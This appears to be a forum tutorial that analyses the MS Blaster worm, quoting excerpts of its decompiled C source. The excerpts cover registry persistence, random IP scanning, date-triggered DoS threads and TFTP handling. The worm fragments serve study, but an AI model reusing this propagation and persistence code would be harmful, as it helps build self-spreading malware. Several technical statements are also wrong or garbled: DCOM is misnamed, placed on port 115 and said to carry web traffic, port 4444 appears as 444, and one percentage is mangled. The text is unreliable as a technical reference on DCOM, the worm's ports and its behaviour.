Also, I wrote this because of the last MS Blaster tutorial, which was mainly about how to get rid of it or stop yourself from getting it.
All of this is my original work, although I did research and gathered information from the following websites:
http://www.cisilion.com/news-cisco-blaster.htm
http://www.faqs.org/faqs/windows/winsock-faq/
http://www.grc.com/default.html
Attached to this tutorial is the source code for MS Blaster. At this point, that source code cannot be used for any ill, because most AV software and Firewalls are set up to block Port 135 and the Blaster virus. Also, as the person who de-compiled the source code to the Blaster, I believe it was Robert Graham, pointed out:
Robert Graham's de-compilation of the Blaster also includes many conjectures he made about the person who designed it, so that he might be better understood. It is a recommended read, even for those who are not familiar with C, the language that it is displayed in.Quote:
Disclosing the source to blaster will not help blackhats.
The Blaster worm is not very good. However, it is
useful for whitehats to have a complete dissection of the
worm.
One of the things that set the Blaster apart from other worms lately was that it didn't attack servers any more than it did desktops. In fact, instead of taking advantage of the services running there so that the creator could later gain control, he simply disabled DCOM on all of the machines that it came in contact with.
DCOM stands for Distributed Component Object Module, and, I have been told, runs over port 115, though I do not swear to this. It is used, and tied in very closely with, TCP/IP. DCOM is especially useful for sending information across several networks quickly and securely, particularly when using HTTP. From this, it becomes obvious that anyone infect with the Blaster wouldn't be able to either send or recieve web-page information, one of the main things that the internet is used for today.
While this did, in many ways, slow down the Blaster virus, it also helped it out. When my servers go down, the first thing I look for is problems within the server. A normal worm, which might have disabled the service itself or gotten inside of it to gain control of the system, would have been immediately noticed, if only by the effects that it caused.
However, Blaster, either because of the programmer's lack of talent or ingeniousness, didn't do either of these things. So many SysAdmins had problems tracking down the blaster, especially in the very beginning.
But how did the Blaster worm go about disabling DCOM, something which is vital to modern day network communication? To answer that, we must look at the source code.
This is the very beginning of the program, where we can already see that the Blaster virus is including information related to WinSock, which is short for Windows Sockets.Quote:
#include <winsock2.h>
#include <ws2tcpip.h> /*IP_HDRINCL*/
#include <wininet.h> /*InternetGetConnectedState*/
#include <stdio.h>
Winsock is vital for a Windows machine to communicate across networks. It is stored, on Windows machines, as WINSOCK.DLL. Exactly what this does, however, is very interested. It is not only vital for Windows machine to communicate across a network, it is the actual Windows TCP/IP, Transmission Control Protocol / Internet Protocol, interface. TCP/IP is, for all intents and purposes, the language of the internet.
So from just that first line of code we immediately see that the program is going to involve network communications, and deal closely with those things.
Just a few lines into the code, we see that there are ports already being defined, for later use in the program:
An interesting side-note is that disabling port 69 will stop the worm from fully infecting a computer, because it stops the client from downloading the program. Also, it starts a very temporary service running there. THAT is something that should, for any SysAdmin, immediately bring up a problem.Quote:
#define TFTP_PORT_69 69
#define MSRCP_PORT_135 135
#define SHELL_PORT_4444 444
If you ever notice that a service has suddenly started on your computer, shut it down, and ask questions later. If you don't recognize it and don't know what it is, its generally better to play it safe, rather than let yourself get caught with your pants down.
The worm inserts the following registry key into a Windows computer, which will need to be removed for full deletion of MS Blaster:
What this key does, basically, is check to see if the computer is already infected with the Blaster. If it isn't, they take care of that. It does this by use of the Windows Update feature, which can be quite nice, but also poses a security threat, as we see here.Quote:
RegCreateKeyEx(
/*hKey*/ HKEY_LOCAL_MACHINE,
/*lpSubKey*/ "SOFTWARE\\Microsoft\\Windows\\"
"CurrentVersion\\Run",
/*Reserved*/ 0,
/*lpClass*/ NULL,
/*dwOptions*/ REG_OPTION_NON_VOLATILE,
/*samDesired */ KEY_ALL_ACCESS,
/*lpSecurityAttributes*/ NULL,
/*phkResult */ &hKey,
/*lpdwDisposition */ 0);
RegSetValueExA(
hKey,
"windows auto update",
0,
REG_SZ,
MSBLAST_EXE,
50);
RegCloseKey(hKey);
The worm also checks for a location to download the virus from. This is actual a smart thing to do, because it allows for the worm to be downloaded from any location where it already exists, instead of from a single hard-coded location. Once the worm begins to spread, it can be shut down quite quickly.
If the worm were always downloaded from a limited list of hard-coded locations, looking at packet logs would discover this rather quickly, and those locations would be advertised and blocked off, thus stopping, or at least crippling, the spread of the Blaster.
The worm constantly checks for the internet connection:
If it doesn't find it, it goes into hibernation for exactly 20,000 milliseconds, or 20 seconds.Quote:
while (!InternetGetConnectedState(&ThreadId, 0))
Sleep (20000);
When it is connected, it randomly chooses IP and network addresses, using the following code:
What this does is it takes a percentage of 254 and adds one to it. These numbers were, of course, chosen for a reason. Each IP address is made up of four octets, which range from 0 to 255. Taking a random percentage of 254 and adding one allows it to be any valid IP range, up to 255.Quote:
local_class_a = (rand() % 254)+1;
local_class_b = (rand() % 254)+1;
Side-note: The programmer could have easily designed an array that would have held in the original IP Address, and built up a list of succeeding ones to scan for. It appears that instead of this, he decides later, to continue using the random generation, and converts the IP Address back and forth through strings, in an overly complicated fashion.
This code looks for host names that it can use, either the current one used by the client it has infected, or random ones outside the network that it can use. It stores these addresses and host names in strings for later use.Quote:
if (gethostname(myhostname, sizeof(myhostname)) != -1) {
HOSTENT *p_hostent = gethostbyname(myhostname);
if (p_hostent != NULL && p_hostent->h_addr != NULL) {
struct in_addr in;
const char *p_addr_item;
memcpy(&in, p_hostent->h_addr, sizeof(in));
sprintf(myhostname, "%s", inet_ntoa(in));
p_addr_item = strtok(myhostname, ".");
ClassA = atoi(p_addr_item);
p_addr_item = strtok(0, ".");
ClassB = atoi(p_addr_item);
p_addr_item = strtok(0, ".");
ClassC = atoi(p_addr_item);
This code is what actually determines whether or not it attacks and tries to infect a computer on the local network or a computer on the remote network.Quote:
srand(GetTickCount());
ClassC -= (rand() % 20);
}
local_class_a = ClassA;
local_class_b = ClassB;
scan_local = TRUE;
}
The next segment of code is what determines whether or not the Blaster will assume the computer is Windows 2K or XP. The result of this determines what type of exploits to use. Just for your own information, it assumes it is attacking XP 80% of the time, and 2K% of the time.
The reason that it checks for only 2K and XP is that later on the coding requires raw sockets, which are sockets and packets designed by the programmer, and not ones defined or built by TCP/IP. This is important because Raw Sockets were not available in Windows until Windows 2000, and then later in XP.
This code is very similiar to what we saw above for determining random IP ranges, used only for outside IP Addresses.Quote:
if (!scan_local) { <----------This checks to see if its local or not, the ! means not...
ClassA = (rand() % 254)+1;
ClassB = (rand() % 254);
ClassC = (rand() % 254);
}
The following string of code checks for the dates, according to local time, and attacks during these dates only:
The dates that it will attack by are:Quote:
#define MYLANG MAKELANGID(LANG_ENGLISH, SUBLANG_DEFAULT)
#define LOCALE_409 MAKELCID(MYLANG, SORT_DEFAULT)
GetDateFormat( LOCALE_409,
0,
NULL, /*localtime, not GMT*/
"d",
daystring,
sizeof(daystring));
GetDateFormat( LOCALE_409,
0,
NULL, /*localtime, not GMT*/
"M",
monthstring,
sizeof(monthstring));
if (atoi(daystring) > 15 && atoi(monthstring) > 8)
CreateThread(NULL, 0,
blaster_DoS_thread,
0, 0, &ThreadId);
Aug 16 through Aug 31
September 16 through September 30
October 16 through October 31
November 16 through November 30
December 16 through December 31
This checks for incoming packet requests. One thing to note is that it does not specify what packets need to come in. Any packets will do, which can cause the worm to use the wrong address, or to possibly shut down and re-start prematurely, keeping the worm busy as long as there are packets coming in. This, more than anything else, is probably what slowed down the worm, and kept it as relatively harmless as it was. It would have been much worse if the coding here had been tighter.Quote:
memset(&server, 0, sizeof(server));
server.sin_family = AF_INET;
server.sin_port = htons(TFTP_PORT_69);
server.sin_addr.s_addr = 0; /*TFTP server addr = <any>*/
if (bind(fd, (struct sockaddr*)&server, sizeof(server)) != 0)
goto closesocket_and_exit;
To stop this from happening, the creator of the worm shuts down the TFTP service and re-starts it, although this doesn't take care of everything. This is a bit of sloppy coding, I'm afraid, and could be done by any Computer Science student who has studied C++ and Computer Networking. This, more than anything else, is probably what slowed down the worm, and kept it as relatively harmless as it was. It would have been much worse if the coding here had been tighter.
The worm then goes through a process of building packets and sending them to the given address, modifying the packet size for headers and such, sending out the entire worm in a series of packets 12, before going back into sweet hibernation.
The worm will, after a time, wake up and go through a somewhatcomplicated process to determine the next IP address in the range to attack, and attempt to infect. We see this process below:
This function is orignally called in the main function. Basically, what it does is it starts at the end of the IP and begins the incrementing there. The end of the IP is also the most local address, and the beginning the most global. Because the creator starts at the end, we can see that he has decided to spread it as locally as possible, then growing from there.Quote:
void blaster_increment_ip_address()
{
for (;;) {
if (ClassD <= 254) {
ClassD++;
return;
}
ClassD = 0;
ClassC++;
if (ClassC <= 254)
return;
ClassC = 0;
ClassB++;
if (ClassB <= 254)
return;
ClassB = 0;
ClassA++;
if (ClassA <= 254)
continue;
ClassA = 0;
return;
}
}
This is, in theory, good because the worm can spread more quickly from one very infected network than from a few barely infected ones. The concentrated source seems to win out in the long-run here.
The worm, after more infecting and checking, will begin to send out more packets, which is where the Raw Sockets idea kicks in. The source code includes these packets, and aren't of any real interest except to the hard-core networking admin, who wants to disassemble the packets.
The designer of the worm continually uses DoS attacks after a client has been attacked, both to infect other computers and to disrupt internet communication in general. One of the things that the programmer especially liked to attack and use windowsupdate.com.
Final analysis: The MS Blaster was simple in its basic idea, and could have been thought up by almost anyone. The actual design of it required someone with several programming books and a good understanding of networking, though it was obviously not designed by an expert. It could have been built by any Middle School student who really put his mind to it.
If you're not familiar with networking, the actual full source-code of it might confuse you at first, but it could also prove to be an excellent source to use and look at.
That's the overview of the MS Blaster worm. Not very original, just somewhat well planned out in its later execution.
